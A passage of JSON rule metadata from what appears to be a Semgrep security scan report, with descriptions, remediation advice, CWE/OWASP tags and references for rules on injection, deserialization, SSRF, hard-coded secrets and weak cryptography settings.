[https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","id":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","name":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","id":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","name":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"help":{"markdown":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py)\n","text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","id":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","name":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"help":{"markdown":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=net-6.0)\n - [https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html](https://www.synacktiv.com/en/publications/izi-izi-pwn2own-ics-miami.html)\n","text":"Using a .NET remoting service can lead to RCE, even if you try to configure TypeFilterLevel. Recommended to switch from .NET Remoting to WCF https://docs.microsoft.com/en-us/dotnet/framework/wcf/migrating-from-net-remoting-to-wcf"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","id":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","name":"csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.insecure-typefilterlevel-full.insecure-typefilterlevel-full"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","id":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","name":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"help":{"markdown":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Path traversal may allow malicious actors to access file content not intended to be exposed to them. For example a user may be able to access sensitive secrets stored within app files (e.g. UserDefaults/Plists/.etc.). Alternatively, users with access to a victim's phone may be able to obtain senstivie data persisted by the application."},"helpUri":"https://semgrep.dev/r/swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","id":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","name":"swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal","properties":{"precision":"very-high","tags":["CWE-35: Path Traversal","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.pathtraversal.filemanager-pathtraversal.swift-path-traversal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-url.pg-connection-url","id":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","name":"rust.secrets.sqlx.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"help":{"markdown":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/storage_account#min_tls_version)\n - [https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version](https://docs.microsoft.com/en-us/azure/storage/common/transport-layer-security-configure-minimum-version)\n","text":"Azure Storage currently supports three versions of the TLS protocol: 1.0, 1.1, and 1.2. Azure Storage uses TLS 1.2 on public HTTPS endpoints, but TLS 1.0 and TLS 1.1 are still supported for backward compatibility. This check will warn if the minimum TLS is not set to TLS1_2."},"helpUri":"https://semgrep.dev/r/terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","id":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","name":"terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.storage.storage-use-secure-tls-policy.storage-use-secure-tls-policy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Volume is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-volume-encrypted-with-cmk.aws-ebs-volume-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Function sweepToken is allowed to be called by anyone"},"help":{"markdown":"Function sweepToken is allowed to be called by anyone\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted)\n - [https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2](https://medium.com/chainsecurity/trueusd-compound-vulnerability-bc5b696d29e2)\n - [https://chainsecurity.com/security-audit/compound-ctoken/](https://chainsecurity.com/security-audit/compound-ctoken/)\n - [https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/](https://blog.openzeppelin.com/compound-comprehensive-protocol-audit/)\n - [https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f](https://etherscan.io/address/0xa035b9e130f2b1aedc733eefb1c67ba4c503491f)\n","text":"Function sweepToken is allowed to be called by anyone"},"helpUri":"https://semgrep.dev/r/solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","id":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","name":"solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.compound-sweeptoken-not-restricted.compound-sweeptoken-not-restricted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 210K iterations should be used with SHA512"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha512.insufficient-pbkdf2-work-factor-sha512"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.spring.xpath.tainted-xpath.tainted-xpath","id":"java.spring.xpath.tainted-xpath.tainted-xpath","name":"java.spring.xpath.tainted-xpath.tainted-xpath","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.xpath.tainted-xpath.tainted-xpath"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","id":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","name":"python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-fastapi.sqlalchemy-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/918.html](https://cwe.mitre.org/data/definitions/918.html)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fssrf~2Fgeneric)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","id":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","name":"java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep.tainted-ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"You should probably use Filename.get_temp_dirname()."},"help":{"markdown":"You should probably use Filename.get_temp_dirname().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string)\n","text":"You should probably use Filename.get_temp_dirname()."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.slash-tmp.not-portable-tmp-string","id":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","name":"ocaml.lang.portability.slash-tmp.not-portable-tmp-string","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.slash-tmp.not-portable-tmp-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","id":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","name":"ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.audit.jwt-decode-without-verify.ruby-jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"help":{"markdown":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/ssrf.md)\n - [https://nginx.org/en/docs/http/ngx_http_core_module.html#internal](https://nginx.org/en/docs/http/ngx_http_core_module.html#internal)\n","text":"This location block contains a 'proxy_pass' directive but does not contain the 'internal' directive. The 'internal' directive restricts access to this location to internal requests. Without 'internal', an attacker could use your server for server-side request forgeries (SSRF). Include the 'internal' directive in this block to limit exposure."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-internal.missing-internal","id":"generic.nginx.security.missing-internal.missing-internal","name":"generic.nginx.security.missing-internal.missing-internal","properties":{"precision":"very-high","tags":["CWE-16: CWE CATEGORY: Configuration","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-internal.missing-internal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"help":{"markdown":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation)\n - [https://www.oracle.com/java/technologies/javase/tlsreadme.html](https://www.oracle.com/java/technologies/javase/tlsreadme.html)\n","text":"Checks for cases where java applications are allowing unsafe renegotiation. This leaves the application vulnerable to a man-in-the-middle attack where chosen plain text is injected as prefix to a TLS connection."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","id":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","name":"problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.tls-renegotiation.tls-renegotiation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection. This creates a connection without encryption to a gRPC client/server. A malicious attacker could tamper with the gRPC message, which could compromise the machine."},"help":{"markdown":"Found an insecure gRPC connection. This creates 